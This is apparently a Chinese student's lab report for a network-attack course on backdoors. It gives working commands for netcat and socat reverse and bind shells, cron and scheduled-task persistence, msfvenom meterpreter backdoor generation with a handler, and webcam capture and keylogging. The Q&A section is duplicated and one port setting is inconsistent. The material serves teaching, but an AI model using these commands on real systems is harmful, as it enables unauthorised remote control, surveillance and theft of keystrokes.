2018-2019-2 20165209 《网络对抗技术》Exp2:后门原理与实践
1 后门原理与实验内容
1.1 后门原理
-后门就是不经过正常认证流程而访问系统的通道。
- 哪里有后门呢?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
1.2 实验内容
任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
2 基础问题回答
- 问:例举你能想到的一个后门进入到你系统中的可能方式?
问:例举你知道的后门如何启动起来(win及linux)的方式?
win:修改注册表、设置为开机自启动、诱导用户点击从而执行等等。
Linux:可以通过crontab功能将木马设为定时启动,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的。
问:Meterpreter有哪些给你映像深刻的功能?
这次试验给我留下深刻印象的主要有获取目标主机音频、摄像头、击键记录等内容。除此之外还有植入后门实施远程控制、metsvc后渗透攻击模块等等。
问:如何发现自己有系统有没有被安装后门?
可以检测网络连接,查看是否有IP与本机建立连接;安装专门的杀毒软件,实时防护,并定期检测电脑安全情况;查看任务计划程序、开机自启动项中是否有可疑程序,等等。
(1) 例举你能想到的一个后门进入到你系统中的可能方式?
- 在访问某些网站的时候,点开图片可能就会内置后门,在用户不易察觉的情况下,下载木马病毒安装在电脑中,威胁我们的主机的安全。
(2) 例举你知道的后门如何启动起来(win及linux)的方式?
- win中可以修改系统注册表,或者隐藏后缀名诱使用户点开。
- linux中可以通过crontab功能将木马设为定时启动。
(3) Meterpreter有哪些给你映像深刻的功能?
(4)如何发现自己有系统有没有被安装后门?
3 实验步骤
3.1 Windows获得Linux Shell
- win10中输入
ipconfig
查看IP为 172.30.5.45。
- 在win10中输入
ncat.exe -l -p 5209
监听win10的5209端口。 - 在kali中输入
nc 172.30.5.45 5209 -e /bin/sh
反弹连接win10的5209端口。 - 在win10中成功获得kali的shell。
3.2 Linux获得Windows Shell
- kali中输入
ifconfig
查看IP为 192.168.25.132.
- 在kali中输入
nc -l -p 5209
监听kali的5209端口。 - 在win10中输入
ncat.exe -e cmd.exe 192.168.25.132 5209
反弹连接kali的5209端口。 - 在kali中成功获得win10的shell。
3.3 使用netcat获取主机操作Shell,cron启动
- 在win10中输入
ncat.exe -l -p 5209
监听win10的5209端口。 - 在kali中输入
crontab -e
编辑一条定时任务。 - 我当时的时间是11:35为了尽快看到效果,我编辑的指令是
37 * * * * /bin/netcat 172.30.5.45 5209 -e /bin/sh
表示每个小时的第37分钟反弹连接Win10的5209端口。 - 当时间到了11点37时,成功获得Kali的shell,可以输入指令。
3.4 使用socat获取主机操作Shell
- win10中右击windows图标,选择“计算机管理”。
- 在“任务计划程序”创建任务,填写任务名称,并新建一个触发器。
- 在操作->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写
tcp-listen:5209 exec:cmd.exe,pty,stderr
,作用是把cmd.exe绑定到端口5209,同时把cmd.exe的stderr重定向到stdout上。
- 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行。
- 同时在Kali中输入指令
socat - tcp:172.30.5.45:5209
成功获得了一个cmd shell
3.5 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST= 192.168.25.132 LPORT=5209 -f exe > 20165209_backdoor.exe
生成后门程序 - 在Win10中输入
ncat.exe -lv 5209 > 20165209_backdoor.exe
进入接收文件模式 在kali中输入
nc 172.30.5.45 5209 < 20165209_backdoor.exe
IP为win10的IP- 在Kali中打开一个终端,输入
msfconsole
进入msf控制台 - 输入
use exploit/multi/handler
使用监听模块,设置payload - 输入
set payload windows/meterpreter/reverse_tcp
使用和生成后门程序时相同的payload - 输入
set LHOST 192.168.25.132
- 输入
set LPORT 5215
输入
show options
进行查看,显示设置的ip地址和端口号- 输入
exploit
开始监听 - win10中运行后门程序20165209_backdoor.exe
此时kali获得win10的连接,并且得到了远程控制的shell
3.6 使用MSF meterpreter生成获取目标主机摄像头、击键记录等内容
- 重复3.5的操作直至exploit
- 输入
webcam_snap
使用摄像头进行拍照
- 输入
keyscan_start
开始记录击键的过程,输入keyscan_dump
读取击键的记录
实验总结与体会
实验做了很长时间,真的很考验心态,但是实验还是很有意思的,发现原来获取一台电脑的shell其实并没有想象那么难,但同时也让我对网络有点害怕,还是要把摄像头关好的,定期杀毒,补漏洞很有必要。